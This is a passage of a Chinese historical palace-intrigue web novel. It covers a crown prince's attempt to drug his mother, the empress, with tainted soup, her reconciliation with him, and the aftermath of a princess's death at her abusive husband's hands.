乌兰晔躲在秋桑怀中,明绰回过头,看见他对秋桑都有这样不假思索的依赖,更觉得心如刀割。她只能强迫自己不去看,死死地摁住了乌兰徵握剑的手:“他还是个孩子,他还不懂事……陛下!”明绰也跪了下来,一半是哀求,一半是因为痛苦而全身发软,“你不要伤他……”
乌兰徵赶紧伸手去扶她:“你还替他说话……”他气得胸膛剧烈起伏,越过她的肩头对着跪在地上的乌兰晔发怒,“你母亲还在替你说话!你呢!你还是个人吗!”
秋桑更紧地抱住乌兰晔,惊恐地看着地上碎了一地的瓷片和汤汁,这是她准备的莲子汤。乌兰晔早些时候来跟她说,看母后胃口不好,秋桑还高兴得不得了,以为他终于懂事了。她没想到会是这个局面,只好压低了声音问乌兰晔:“殿下,你做了什么?你做了什么呀!”
乌兰晔浑身发抖,一句话都说不出来。乌兰徵看着他这幅样子,饶是再气,也忍不住心中升起一股心疼,把剑一扔,像是站不住了,原地晃了晃。明绰赶紧站起来扶他,乌兰徵撑着桌角坐下来,伸出手指了指地上一片狼藉,又问了一遍:“说,你到底放了什么?”
秋桑赶紧推了推乌兰晔:“快回你父皇话!”
“不是,不是毒药……”乌兰晔抽抽噎噎,只说出来了这几个字。
“那是什么!”乌兰徵声色俱厉,“什么东西你不敢给朕喝,却非要你母亲服下!”
乌兰晔让他这么一吓,又不敢说了。明绰迅速地抹掉了脸上的眼泪,强迫自己镇定下来,问他:“到底是什么?”
“就是,就是……”乌兰晔喘不上气似的,说得含含糊糊,“让人病一阵子……”
乌兰徵怒喝一声:“这还不是毒药?!”
秋桑的脸色灰败得难看,颓然地跌坐在一边。听到这样的事情,似是连她也不愿再护着乌兰晔了。冬青心疼地搂住了她,也跟着垂泪。乌兰晔只能自己跪在那里,哭得打起了嗝。
明绰忍住了心底涌上来的剧痛,问了一句:“谁教你这么做的?”
也许是她自欺欺人吧,反正她绝对不相信她的孩子会做这种事。
可是乌兰晔梗着脖子,哭得那样凄惨可怜,眼中却仍有一股傲气,只道:“没有谁,是我自己!”
“好,”乌兰徵指着他,“你倒是一人做事一人当!”
明绰不得不做了个深呼吸才勉强保持住了声调的平稳:“为什么?”
“朝中事事都是你说了算!连父皇都要看你的意思行事……”乌兰晔也不知道是从哪里学来这一套话。明绰眼前突然浮现出了从小到大见过的无数人,他们指责她的母亲,然后他们指责段太后,现在他们指责她。
“你想说哪件事?”乌兰徵突然打断了儿子,“立太子么?”
乌兰徵逼近了一步,眼睛危险地眯了起来:“你以为,除去了你母亲,就能被立为太子了?”
有太多人到他面前说过这种话了,攻讦皇后擅
政,痛心于他被女人摆布。但乌兰徵始终觉得,明绰不是争权,而是在替他分担这巍巍的江山。他们就像寻常夫妻一样,家业大了,大事小情就要一起商量着做决定。这么多年,明绰做的哪件事不是为了大燕的长治久安?若不是有她坐镇后方,他如何能放心频繁出兵,横扫六合?他不愿意的事情明绰从来不会胁迫他,那明绰不答应的事情,他当然也应该考虑妻子的感受。他敬她惜她,珍而重之,从来没把那些庸人的话放在心上。
可现在是他的纳尔朗,他唯一的儿子,竟然也来说这样的昏话。他认为母亲是奸佞的同时,也把父亲当做了没有脑子的蠢材。
“是朕不肯立你!”乌兰徵突然吼了一声,“你是不是还要弑父!是不是打量着朕只有你一个儿子,迫不及待要坐上这个位置了!”
乌兰晔急道:“我没有!”
可是他的父皇不听他的,起身从案边那堆文牍中取出了一个木匣。明绰一眼就认了出来,那里面是立太子的诏书,早就已经拟好盖过印了,只是一直还没公布。乌兰徵把诏书拿出来,扔到了乌兰晔脚边,乌兰晔惊恐地抬起头看着他,手指发着颤打开看了一眼,然后无措地哭了一声:“父皇……”
乌兰徵伸手就把诏书夺了回来,直接放到烛上点了。明绰还想拦,但是乌兰徵制住了她的手,只道:“他这样的德行,这辈子也别想了!咱们还不老,未必就他这一个儿子!”
乌兰晔像是被针狠狠扎了一下,他突然站了起来,脸涨得通红,不管不顾地朝父母叫起来:“你们本来就不要我!我才不稀罕什么太子!”
他说完,转头就跑了出去。被乌兰徵叫来要“拿下”他的人也都没敢拦,竟然就这样让他跑了。明绰全身脱了力似的,颓然地坐了下来。那诏书已经烧去了大半,扔在地上,火自己灭了,只剩下蜷曲焦黑的灰,明绰就这么怔怔看着,只觉得烧去的是她的心。
乌兰徵看着她,蹲下来,心疼地握住她的手:“明绰……”
明绰好一会儿没说话,眼泪一滴一滴往下落。再开口的时候,却冷静得吓人:“去查,是谁给皇长子的药。”
乌兰徵叹了口气,明绰知道他要说什么,一口打断了他:“他就是个孩子。”她咬着牙,强调什么似的,“他再恨我,心再狠,一个孩子哪来的毒药?一定是有人给他的!”
她抬起头,几乎是吼了出来:“给我查!”
其实她心里想的是段知妘,若不是因为她现在不在宫里,明绰会直接让人去长霄殿捉人。
陛下和皇后都发了这样大的火,没人敢不当一回事。不到两个时辰,皇长子这几天去过什么地方、见过什么人就都一清二楚。子时之前,昭仪陈云出被推出来,跪到了皇后面前。
找到了祸首,汤里的药是什么就很清楚了。确实不是什么见血封喉的剧毒,但药里有朱砂,若是用多了,也是能要人命的。
陈云出倒是也没有抵赖什么,跪在皇后面前,一副随她发落的表情。算起来,明绰都快十年没见过她了,她知道陈云出不是什么好人,但也想不出来她这么做的理由——太拙劣,太疏漏,几乎没有成功的可能。乌兰徵恐怕早已忘了后宫里还有她这个人,就算是皇后出了什么事,也轮不到她什么。
可当明绰真的问为什么的时候,陈云出却只是笑了笑。
“皇后不知道被活埋是什么滋味吧?”她抬起头,眼角露出了细细的纹路。她看起来像一株干枯的花。“我知道。”
明绰看着她:“当年我给你机会出宫了,是你自己要留下来的。”
“是啊,”陈云出还是笑,“是我自己。”
当年皇后封三淑九嫔,遣散了后宫大部分的女人。她的表妹本来也是陛下的嫔妃,一听到这个消息就抓住了机会赶紧出宫,现在早已重新嫁人,偏偏她不愿意。因为她父亲辽阳侯曾经也是北方的霸主,她出生的时候也是公主啊!这天下除了乌兰徵,还有谁配得上她?
再说了,就算她愿意,父亲也不会同意的。父亲还指望着她能获得陛下的宠爱,为陈氏在大燕再谋权势。
平心而论,皇后没有亏待她,封了她皇贵妃。可是皇后太善妒了,一点儿都不肯分享陛下。陈云出在无数个独眠的夜里辗转反侧,细数那些尖刺一般的恨意,它们生在床底下,扎得她睡不着觉。
再后来,陛下去了洛阳,再也不回来了。她从皇贵妃落到了昭仪,长安的深宫变得越来越像一座坟墓,她就这样被活埋了十年。陈云出突然“哈哈”地笑了两声,也不知道是在笑什么。
明绰起了个头:“是太后……?”
陈云出知道她要说什么:“若是太后的手段,可不会这么轻易让你抓着。”
她是受过太后的恩,但这次的事情并不是受了太后的指使。
不为什么。萧明绰不会明白的,她这么做真的不为什么。就是这看不到头的日子啊,太无聊了。看见萧明绰的儿子这么恨她,多有意思啊,不是吗?
沉默。明绰看着跪在地上,却漫不经心、毫无敬畏之意的女人,最终什么也没说,歪过头在冬青耳边轻声说了什么,不多时,便有宫人端来了托盘。一把匕首,一壶酒。
“你自己选吧,”明绰已是累极了,“我给你解脱。”
陈云出低下头,怔怔地看了看托盘里的匕首和酒,突然如释重负般,呼出了长长的一口气。好像她也第一次意识到,原来她一直想要的就是这个。她伸出手,先是下意识地想选酒,可是又微微犹豫,最后把匕首收进了袖中。
“皇后容我告退吧。”她抬起头,又看了一眼萧明绰。她曾经以为这个女人会是她的敌人,但她错得太离谱,她根本都没有资格做萧明绰的敌人。“别脏了皇后的地方。”
明绰点了点头,什么都没说。陈云出跪直了身子,最后朝她行了一礼,这辈子,唯一一次真心地说:“多谢皇后。”
她起来离开了,明绰还在坐在原地,很长时间都没有动。夜已经很深了,晔儿还是没有回来,不知道跑去了哪里。长秋殿里早就已经派人去找过,也没找到人。明绰担心晔儿不敢回来面对父皇的怒火,特意把乌兰徵赶回了剑器阁,就在这儿枯坐着,等。
冬青进来过,为她换了一次蜡烛,她没动。秋桑也来过,端了汤,让她好歹吃一口,她也只是让放在一边。就这样等,一直等到门口终于有人叫了一声,“殿下!”明绰才抬起头,看见乌兰晔一脸失魂落魄的,站在了长秋殿的门口。
他没敢进来,冯濂之站在他身边,牵着他的手,轻轻地在他脑后推了推,让他进门。
明绰看着冯濂之,想说什么,喉咙里却是哑的。但冯濂之似乎什么都明白,只道:“殿下无恙,皇后放心。”
明绰这才终于挤出了一点声音:“多谢你。”
冯濂之低头行礼:“臣告退。”
他果然走了。乌兰晔似是想留住他,但又不敢,只能扭头看着他告退。眼看着只剩下他自己了,只好垂着头进了门。他知道自己犯了大错,所以也没敢说什么,进门就又跪了下来,等着母后发落。
但是明绰没让他跪,轻声道:“你过来。”
乌兰晔低着头:“儿臣不敢。”
明绰没理会他的语气,又说了一遍:“过来。”
乌兰晔犹豫了一会儿,到底还是站了起来,走到了母亲身边。他已经发现父皇不在这儿了,他不知道这是一个好的信号还是不好的,浑身都僵得厉害。明绰把他拉到身前,看见他脸上还沾了灰灰的一块脏,满头都是热汗,就抬起袖子要给他擦擦脸。乌兰晔似乎以为母亲要打他,缩了一下脖子。明绰的手顿了顿,等他松懈下来,才轻柔地用袖子给他抹了抹脸。
擦完脸,低头一看,手也很脏。明绰也没问什么,端了水盆过来,细细地给他洗手。乌兰晔不敢反抗,伸着手任由母亲给他把袖子挽了上去,浸得凉凉的巾子抹过掌心,把手臂也擦得干干净净。然后母亲把他的右手翻了过来,巾子被她扔回了水中,乌兰晔感到她的手指轻轻地拂过了那道几乎已经看不出来的疤。
他下意识地想缩手,但是明绰握紧了他的手,没让他躲。
“你伊玛戈是怎么跟你说的?”明绰问他。
乌兰晔不说话,他听不出来母亲这话里是什么情绪,所以不敢回答。
明绰放开他的手,又给他解开了衣领,拿巾子给他擦一脖子的热汗。她看起来就和普通照料孩子的母亲没什么两样,动作轻柔而细致,没有半点生气的样子。
“她是不是说,我从来都不喜欢你,你一出生我就想让你死?”
其实伊玛戈从来没有直接跟他说过这些话。现在乌兰晔回忆起来,甚至想不起来伊玛戈说过母后什么坏话。
明绰对此并不意外。当然了,有秋桑和辉儿在,段知妘直接跟乌兰晔说自己的坏话其实是会起到反作用的。她可以想象段知妘的手段,她会说一半,留一半,但潜移默化给晔儿留下足够的印象。让他知道这疤是母亲留给他的,知道母亲从一开始就不要孩子,知道他出生以后母亲连抱都不肯抱他——这些都是事实,秋桑想反驳也无从反驳。时间长了,晔儿自己就会得出结论。
母亲不要他。母亲从来没有爱过他。
“这疤,确实是我留的。”明绰终于抬起头,直视着儿子的眼睛,疤明明在他手上,她却感觉像是从自己身上揭开来,每一个字都带出血淋淋的痛。
“你不想知道,是为什么吗?”
第108章
明绰想过很多次,要怎么跟儿子解释这一切。她担心他听不明白,也担心这样的故事太残忍。她想过各种美化的,简单的版本,
最好听起来像个合适给孩子听的故事。可是真的到了这一天,她能说出来的,只有最简单的真相。
她从普达惹氏开始讲,讲他的父皇是怎么在一出生就失去了母亲,讲到乌兰氏曾经的神女信仰,讲到“子贵母死”的旧制如何杀死了她到长安的第一个朋友——就在那个房间。她指了指门外的方向,告诉她的儿子。叱云额雅就是在那个房间里,流干净了她最后一滴血。
她讲了段知妘为什么想要效仿普达惹氏,讲了十几年前她为了大燕一统北方、胡汉相融所做出的努力,和付出的代价。说到这里的时候明绰有了几分犹豫,她已经很久没有想起当年的段知妘了。她也曾经意气风发,明亮夺目。明绰停下来,发现乌兰晔皱着眉头,听得非常认真。
她低下头,又一次轻轻地拂过了乌兰晔手上的疤。
“我知道,”明绰斟酌着字句,“你不愿意相信伊玛戈是这样的人……”
然而乌兰晔打断了她:“我信。”
明绰意外地抬起头看着儿子。他的眼中平静到漠然,竟让明绰看得心里突然一激灵。那碗莲子汤打翻在地的时候,她先是觉得麻木与寒冷,然后才是灭顶般的痛苦和失望,五味杂陈,唯独没有恐惧。但现在她看着儿子的眼睛,突然从脚底升出一股不一样的寒凉。
“伊玛戈待你不好吗?”
乌兰晔没有直接回答这个问题,只是定定地看着她,突然主动问她:“她对你做了什么?”
明绰皱起眉,然后乌兰晔主动说:“每年我的生辰,秋桑都会偷偷祭奠一个人,不敢让伊玛戈知道。”
他抬起手指,指向了一个方向。内室隔了帘幕,看不见,但他们都知道那是梁芸姑牌位的方向。
“是她吗?”乌兰晔问母亲,“那是谁?”
明绰喉间哽了哽:“那是我的亲人。”
然后她说起了孩子出生的那个晚上。
七年了,她再也没有提起过那一夜。每个细节她都记得清清楚楚,可是说的时候,却显得乱七八糟。明绰忘了解释乌兰徵为什么不在,说了一半又不得不绕回去讲他为什么会出城。她提到了拜耶哥的自焚,看到孩子脸上露出了不适的神情。然后她又说了段知妘走进来,给她灌下的那碗药。生产的剧痛她反而没有再提,不想再吓着孩子了。最后就是段知妘走进产房,在逼死她之前,善心大发地让她再看一眼孩子。
“我当时想,”明绰低下头,看见自己一滴眼泪落在了乌兰晔的掌心,“如果我要死,就带着你一起死。”
乌兰晔没说话,只是深深地看着母亲。
“为人父母,哪怕自己要死,也要想办法保全孩子。是我太自私了。”明绰的声音低下去,“你恨我,也是应该的。”
这是明绰第一次跟乌兰晔说这么多话,他好像听懂了,又好像没太明白,只觉得母亲的眼泪好烫,他下意识地手指蜷缩,握住了她那滴泪。
明绰继续往下说:“你出生以后不久,你父皇要东征,他担心留我一个人在长安会有不测,决定带我一起上路。原本想着,打完仗就马上回来了,所以我将你暂时托付给了皇贵妃……”
她不知道乌兰晔是否能够站在她的角度,体谅她把大燕的朝局中心迁至洛阳的必要,还是说这一切只是更加验证了西海权贵们对于皇后权欲熏心的攻讦。明绰看不明白儿子的表情,只能看出来他听得非常认真,所以她就这样讲下去了。她讲到如何调走汉官集团,釜底抽薪一般架空了太后的权势,讲到她因此不能独自回到长安冒险,讲到乌兰徵被漠北战事耽搁……讲到后来她自己都心虚了。
每一句都是实情,每一句都是无奈,但每一句也都是借口。
“对不起。”明绰最终说,“把你留在长安这么多年,是娘对不起你。但娘从来,从来没有想过不要你,以后也绝对不会不要你。”
乌兰晔还是安安静静的,一句话都没有。但他眼中迅速地蓄起了两汪眼泪,违背他的意志,打破了他所有不符合年龄的自持。他好像等这句话已经等了太久,等得他都不知道自己在等。然后他像是喘不上气一样,狠狠地抽了一下,更多的眼泪飞快地涌出来。明绰也哭了,她把孩子抱进怀里,闻见他头发里都是一股淡淡的咸涩气味。乌兰晔这次没有抵抗。
“太子之位一定是你的。”明绰在他耳边承诺,“就算以后你还会有弟弟,也绝不会有任何人能够从你手里夺走这个位置……”
乌兰晔从牙缝里挤出来一句话:“我不稀罕!”
明绰轻轻把孩子放开一些,替他擦了擦眼泪,宽慰道:“你父皇就是一时气话,他今天还在跟我商议东宫官署的人选……”
这话是在哄孩子。乌兰徵烧诏书并非一时之气,他是认真地认为乌兰晔不够格做大燕的太子了——无论明绰怎么替儿子开脱,认为他就算是怨恨母亲也是情有可原,乌兰徵都坚持,再怎么怨恨父母也不能起毒害之心。这样的行为,乌兰徵是无论如何都不能接受的。
好在今日明绰并未真的服下那汤,否则他一定会处死这个逆子。
明绰也很清楚,儒学教化,以“仁孝”为本。皇长子今日所为若传到汉臣们耳中,他们的态度只会比乌兰徵更激烈。所以她尽最大的力拦住了乌兰徵——他本来是要把以冯濂之为首的那些文学博士都一起治罪,问他们是如何教育皇长子的。但是这样一来,此事就瞒不住了。明绰说什么也不愿意毁了晔儿。
晔儿就算是长坏了,也是他们为人父母的失职。明绰看着儿子的眼睛,只觉得心里一阵一阵地绞痛。他好像也明白母亲是在哄她,眼中始终都带着那份冷冷的寒意。
乌兰晔已经意识到,父亲轻易地收回了他的爱,但他对此并不意外。父皇就和伊玛戈一样,他没什么可以意外的。可是母后……
他咬住了自己的下唇,脸上竟然浮现出了一丝对自己的懊恼。他还是为了母后方才那句话落泪了,虽然他警告自己,不要再相信他们。
乌兰晔深吸了一口气,突然道:“我不是为了太子之位。”
他的话里有一股掩不住的冤屈,明绰点了点头,轻轻抚住了他的肩膀,作出一副认真听他说话的模样:“那你跟母后说,为什么这样生我的气?”
乌兰晔不自在地挣开了她的手,垂头避开了她的眼睛:“是你把小姑姑嫁给了贺儿冲。”
“我也不希望你小姑姑嫁给贺儿冲,”明绰很认真地跟他解释,没再把他当孩子哄,“辉儿已经有了身孕,是她一心想嫁。”
乌兰晔咬着牙关没说话,他心里知道母亲说的是对的,但他真正生气的地方不在这里。他花了一点儿时间才理出自己想说的话:“小姑姑来求了这么多次,父皇都不愿意松口。”
他这个态度有点儿自相矛盾
,明绰没明白:“你希望贺儿冲如愿吗?”
乌兰晔摇摇头:“可是你不答应,小姑姑回去又要被他责怪!”
“这事儿不是我不答应,”明绰也很无奈,“是你父皇不肯。”
乌兰晔不假思索地顶了回来:“父皇打压贺儿氏,为的还不是你!”
明绰一时欲言又止。她本想问这话又是谁跟你说的,但想想也没必要了。
乌兰徵收西海权贵们的军权,打压他们的势力,其实从乌兰晔出生之前就开始了,不能说完全为了皇后,但确实是在偏向皇后。所以乌兰晔所说,也是无法开脱的事实。
明绰由此从儿子身上看到一种熟悉的矛盾,他能看明白这些事,聪明得不像个孩子,可又终究还不能算一个真正的大人。也许宫廷中每一个早慧的孩子都免不了这样的痛苦,明绰从他脸上看到了一些遥远的影子,像年幼时候的萧盈,像年幼时候的她自己。
她恐惧着亲生儿子的狠心,却又因此无法抑制地、更强烈地爱着自己的孩子。
“云屏到底受了什么委屈?”明绰问道,“她什么都不愿意说……”
乌兰晔脸上又露出一丝不符合年龄的冷笑,似是在讽刺她的虚伪。明绰察觉到了,咽下了涌上来的不快,平静道:“你若真想帮她,就跟我说实话。”
乌兰晔别扭地别过脸,舌尖顶了顶腮帮。他觉得这一切的罪魁祸首都是母亲,不然也不会做出这样的事情,恳求母亲做点儿什么,简直是自打嘴巴。但眼下,除了母亲以外,似乎也没有能够求助的人了。
“我前日去贺儿府探望,在他们门外听见贺儿冲……”乌兰晔牙关又紧了紧,咬碎了一股恨意,“他说小姑姑没用,让她办这点事儿都办不了,说父皇根本没把她这个妹妹放在眼里,太后也失势了,打死了也不会有人在意。”
明绰眉间狠狠一跳:“他动手打人?”
乌兰晔还是不响,好一会儿,很谨慎地回了一句:“从前小姑姑身上常有淤青,现在……不知道。”
明绰的眉头慢慢地拧了起来,好一会儿,突然扬起声音,把冬青叫了进来。
“派几个人去贺儿府,把公主接进宫来。”
冬青闻言一怔:“现在?”
明绰本想说就现在,看了看时辰,又道:“天亮以后吧。”
冬青仍有些为难的样子:“宣召公主,是为了……?”
“本宫想见她,不行吗?”明绰的语气突然一沉,“怎么,公主嫁到他们家,连回宫都不许?”
冬青意识到不好,立刻低头唱喏,下去了。乌兰晔看着母亲,眼中像是有什么东西慢慢融化了似的,顽固的戒备和抗拒都在层层消退,他仍是不情愿,但又忍不住期待什么似的唤她:“母后……”
明绰朝他做个手势,没多说什么。先把云屏接回来,检查她身上是不是有伤,贺儿冲是不是真的敢跟她动手,再作别的打算。若贺儿冲只是嘴上说得不好听,就算是皇后,也不能强行拆散他们夫妻。她知道儿子心里想什么,但现在不能给他承诺做不到的事情。
乌兰晔看着母亲,突然跪了下来:“儿子错了,请母后原谅。”
明绰低头看了他一眼,竟有些被他逗笑了:“你是当真觉得自己错了,还是只是想让我帮你?”
乌兰晔被母亲戳穿,脸上先是微微一红,然后又下定了决心一般,十分诚恳道:“儿子真的知错了,我不配做大燕的太子……请母后责罚!”
“没有人说你不配。”明绰把他拉过来,发现他衣服的手肘处也特别脏,叹了口气,干脆给他把衣服解下来,一边道,“你是为了保护你的小姑姑,这就很勇敢;明明是有人给了你药,但你父皇剑都亮出来了,你却坚决不把别人供出来,这就很讲义气;君子知过改过,过而不改,才谓过也。你错了,就知道认,这就很有担当……”
乌兰晔顺从地抬起手臂,让母亲给他解下脏衣服,听得一愣一愣的,怎么都没有想到,一件有悖人伦的大罪,在母亲口中竟然成了他样样都好的证明。无论他怎么抗拒,眼泪还是再次盈满了眼眶。他突然往前了一步,主动投入了明绰的怀中。
明绰愣了一下,然后重新把孩子搂进怀里。
“你很生我的气,我也很生你的气。”明绰长长地叹出了一口气,“我们各退一步,先都不要生气了,好不好?”
乌兰晔一句话都不说,只是哭个不停。明绰拍着他的背哄,一边让人再打水来,给他弄干净。乌兰晔全程都不再抗拒,乖乖让母亲给他换好了干净的里衣,甚至允许她把自己抱了起来,带去床上。
“好了,赶紧睡觉。”明绰给他把被子掖好,“有什么事明天再说。”
乌兰晔一把抓住了她的手,满脸都是担心。明绰看了看他,又轻轻抚了抚他的额头:“小小年纪,不要想这么多。有母后在。”
这一天过得实在太折腾,乌兰晔得到了母亲的保证,心里完全放了下来,沾枕头就着了。明绰却一直醒着,她今晚回忆了太多不想回忆的往事,只觉得累,却又睡不着。心里一团乱麻,一会儿想着怎么让乌兰徵对儿子消气,一会儿又琢磨,晔儿到底怎么会长成这样。原本已经消退了几分对段知妘的恨意,又重新翻涌起来,像一锅滚水,煎熬她的心,随后又被愧疚淹没,对晔儿愧疚,也对辉儿愧疚。
眼看着天蒙蒙亮,她马上又催了一遍,让人去宣召公主。
乌兰徵过来了,看见儿子还在安睡,倒也没再说什么,只是脸色还是不好看。明绰把昨晚的事情说了,别的倒还没什么,就是担心云屏。两人正说着,派来的人就回来了,竟说贺儿薄不让他们见公主,驸马的面也没见到。
明绰心里隐隐觉得不对,换了乌兰徵下令,召贺儿库莫乞和贺儿冲兄弟一起进宫来回话。
但他们又等了很久,还是没有等到任何人。乌兰晔一觉睡到了近中午才起来,发现这一天竟然没有人来叫他去上课,母后也不在。他茫然地自己穿好了衣服,想去找点东西吃,走到厨房就听见有人在说,要赶紧去西觉寺请太后。
他要在好几天后才知道那天到底发生了什么。云屏公主最后一次求官的失败彻底激怒了贺儿冲,在争吵中,他对身怀六甲的妻子拳打脚踢,直到云屏公主倒下,喊着肚子疼,他也没有停手。等到长秋殿派去的人敲响贺儿府的大门时,没有一个人敢放行让宫人去看公主。贺儿薄在恐慌中选择了最不明智的一条路,他害怕事发,宁可让云屏公主独自在房中流血,也不敢请大夫。甚至拦住了宫里的人,自欺欺人地想把事情瞒住。
等到宫中派了羽林军过来强行撞开府门的时候,贺儿冲已经逃得无影无踪。
云屏公主流产,但孩子的月份太大了,她的血也没有止得住。等到太后终于从西觉寺赶回来的时候,她的女儿已经永远闭上了眼睛。
第109章
乌兰徵抬腿就是一脚,贺儿库莫乞目不能视,躲闪不及,被当胸一脚踢得翻滚出去,狼狈地伏在地上,一声痛不敢喊,艰难地又爬回来,抱住了乌兰徵的脚。
“陛下!”库莫乞哀叫着,“臣有罪,臣有罪!”
乌兰徵看起来很想再踢他一脚,硬是克制住了:“贺儿冲人在哪里?”
“陛下治臣的罪吧!”库莫乞仰起脸来,“臣给公主偿命!陛下要把臣千刀万剐臣都认了!臣是废人了,求陛下放过臣的弟弟,他是我们家仅剩的……”
“你有儿子!”乌兰徵怒喝了一声,“贺儿氏绝不了后!”
可是贺儿库莫乞不听。他的两个眼球都不在了,眼皮可怖地塌在那儿,但一点儿都不妨碍泪水从他眼角落下来,那样子说不出的凄惨,只是紧紧抱住了乌兰徵的腿不肯放,不断地哀求。
“你也说,你是个废人了。”乌兰徵恶狠狠的语气,“那你有什么资格,给朕的妹妹偿命!”
他一把揪住了库莫乞的领口,单手就把他从地上拽了起来。库莫乞失去了双脚,站立不住,几乎就是被他吊了起来。乌兰徵咬牙切齿,又问了一遍:“说,你们把贺儿冲藏哪儿去了?”
“臣不知道……”
库莫乞只是哭着请罪,坚持说不知道弟弟逃去了哪里。乌兰徵伸手一推,把他扔到了地上,扬声喊人进来,要人去查封整个贺儿府,上至贺儿薄,下至贺儿库莫乞的子女,全部下狱,一个都不放过。库莫乞跪在地上,越听抖得越厉害,等听到乌兰徵要囚禁他的幼子时,他突然像野兽一样喊了起来:“莫儿阔!”
这是乌兰徵的乳名,只有他们年幼的时候才叫过。他叫得太凄厉,嗓子都劈了,把乌兰徵都震在了那里
,惊异地看着他。
库莫乞的声音像一把残灰:“三十多年了,我跟你从小一起长大……”
乌兰徵狠狠地一咬牙,什么都没说。
库莫乞爬了两步,伏在地上,抬起头试图让自己面朝着乌兰徵:“你幼年时在普达惹大可敦身边,备受欺辱,是我伊玛戈心疼你,让我时时与你相伴……普达惹大可敦罚你不许吃饭,是我在胸口藏了饼子来给你……我陪你练剑,陪你摔跤,陪你学汉话……你说过,我就是你的亲兄弟……”
乌兰徵的眼睛红了,但他没有泄露出一丝声音。
贺儿库莫乞当然会拿幼年相伴来求情,他丝毫不意外,但仍是被戳到了伤处一般疼痛。这么多年了,他削权是真的,但始终给贺儿家留着一丝情面,不就是为了这份幼年相伴么?还不够吗?
乌兰徵不说话,贺儿库莫乞还在继续说。兴和四年,他们一起进了漠北,在风雪中迷路,身边的人陆续走散,每天都在死人,冻死的,饿死的……弹尽粮绝的时候,库莫乞杀了自己的马给乌兰徵充饥,他说他走不出去了没关系,他要是死了,就能化成鬼,给陛下指路,走出这片纯白的地狱……还有当年在西海,兀臧蛮派了细作来暗杀,就差一点点,一点点就伤到陛下了,是库莫乞替他挡了那支暗箭,现在他的胸口还有当时留下的疤……他们剿灭了兀臧蛮,一起到了神女湖,他们也在神女湖畔发过誓……他落到慕怛人手里,从来没有服过软,没有求过饶,因为他一刻也没有怀疑过乌兰徵会来救他……直说到乌兰徵终于俯身,托住了他的手肘。
“阿瓦神女见证,你是我的兄弟,我不会动你。”乌兰徵的声音哑得厉害,“把贺儿冲交出来,我只杀他一人。”
库莫乞眼中缓缓流出了一行血泪:“臣真的不知道他跑去哪儿了……”
他说的是实话。他残废以后,所有的事情都必须要别人告诉他他才知道。那天公主倒在地上,血流不止,是贺儿薄出了馊主意,让孙子马上跑。等到库莫乞知道的时候,一切都已经来不及了。
但弟弟到底跑去了哪里,是库莫乞有意不让祖父告诉自己的。他不要知道,也不该知道。这是唯一能保住贺儿冲性命的办法。
是,陛下会非常生气,会下令追捕,甚至很有可能迁怒贺儿氏全族,逼贺儿冲现身。但是库莫乞太了解他了,气过这一阵就好了。说是亲妹妹,又不是同母的,这手足之情能有多厚?这么多年,兄妹俩实实在在相处过几日啊?到底差着二十岁呢,相比之下,他才更像莫儿阔的手足。
他可是为陛下废的这双目双足——他可是都为了大燕!北镇已经在造反了,陛下心里也该有点儿数了。他再生气,也不可能为了这么一个异母妹妹,就轻易动了贺儿氏。
乌兰徵重新站直,突然仰起脸,又深又长地叹出了一口气,两行眼泪也从他眼角滑下来。
“朕知道,”他突然说,“你心里也有怨气。”
库莫乞低下头,下意识地回答:“臣不敢……”
但是乌兰徵的手搭到了他的肩膀上,截断了他的话音。
“从当年用石简开始,你就在怨朕。怨朕削你的权,从你手中夺走了羽林军。怨朕不肯用你弟弟,薄待你的祖父,也怨朕不肯对慕怛人退让,害你落得这个下场……”
库莫乞的嘴唇紧紧一抿:“臣为大燕鞠躬尽瘁,绝无怨言!”
乌兰徵轻轻闭了闭眼:“三十多年的交情,库莫乞,你今日不必当我是‘陛下’,我还是莫儿阔。”
他俯下身,紧紧地盯着库莫乞可怖的脸:“我问你,当年与大祭司勾结,逼拜耶哥自焚,诱我出城,害皇后早产,试图夺走皇长子再逼死她……是不是你做的?”
库莫乞猛地抬起头,神色惊恐:“臣……”
乌兰徵搭在他肩上的手猛地收紧,几乎捏碎他的肩胛骨:“你想清楚再回答。”
但是库莫乞想都没想:“臣绝没有做过此事!”
“拜耶哥不是你逼死的?”乌兰徵端详着他的表情,“那日贺儿冲闯进了太后宫中,不让她知道长秋殿中发生了什么,也不是你指使的?
“臣……”库莫乞噎了一下,塌陷的眼皮猛地抽了几下,若他仍有眼睛,此时恐怕早已睁大了。他终于明白了为什么从东征洛阳开始乌兰徵就在缓步削他的权,他突然“哈”了一声,如梦初醒一般,“原来如此,原来如此!好大的一个局……哈哈!”
乌兰徵原本已经确定无疑,但看到他这样的神色,突然又显出了两分犹疑,轻轻地收回在他肩上施压的手。
库莫乞突然跪直,狠狠地在地上磕了一个头,扬声道:“臣冤枉!陛下,拜耶哥祭天,确实不是她心甘情愿。大祭司求到了臣这里,要臣暗中相助,此事臣不敢抵赖!但臣当年也是一心为了大燕国运,不敢惹怒神女!”他越说越理直气壮,嗓门也跟着大了起来,每个字都掷地有声,“若臣当真对皇后有所企图,又怎么会力劝陛下祭天来平息神怒?陛下既已祭天,皇后却还是出了事,陛下定会发怒,臣不是搬起石头砸自己的脚吗!——臣的弟弟在当夜进过宫,此事臣完全不知道,陛下可曾召他问过?到底是他‘闯入’,还是有人算好了一切,召他进宫,好离间陛下与我贺儿氏!”
库莫乞不顾一切地直起身,像一条准备进攻的毒蛇。他没什么可以顾忌的了,那个人的女儿死在了他弟弟手上,他若再不下手,就是坐以待毙。
“陛下想想,当年是谁突然一反常态,与我祖父交好?还让自己的女儿与我弟弟亲近?是谁,最想要效仿普达惹大可敦,掌握太子?是谁在宫中,最方便下手?大祭司身死,长安尊佛,最终得益的人又是谁!陛下——”
乌兰徵突然退了一步,似是被库莫乞脸上疯魔般的神情吓了一跳。剑器阁外几乎同时传来了一声拖长了声音的通报:“太后求见——!”
库莫乞猛地朝出声的方向扭过了头,一行新的血泪从他眼角流出来,他看起来像一只从
地狱里爬出来的鬼,突然露出了诡异的微笑。
—
明绰猛地站起来,本是要惊呼出声了,又顾忌着乌兰晔好不容易才睡下,只好又压低了声音问:“什么?”
冬青又说了一遍,剑器阁那边来的消息,太后被发跣足,以血涂面,正跪在剑器阁外,求陛下严惩贺儿氏全族,为云屏公主报仇。
明绰张了张嘴,又不知道该说什么。
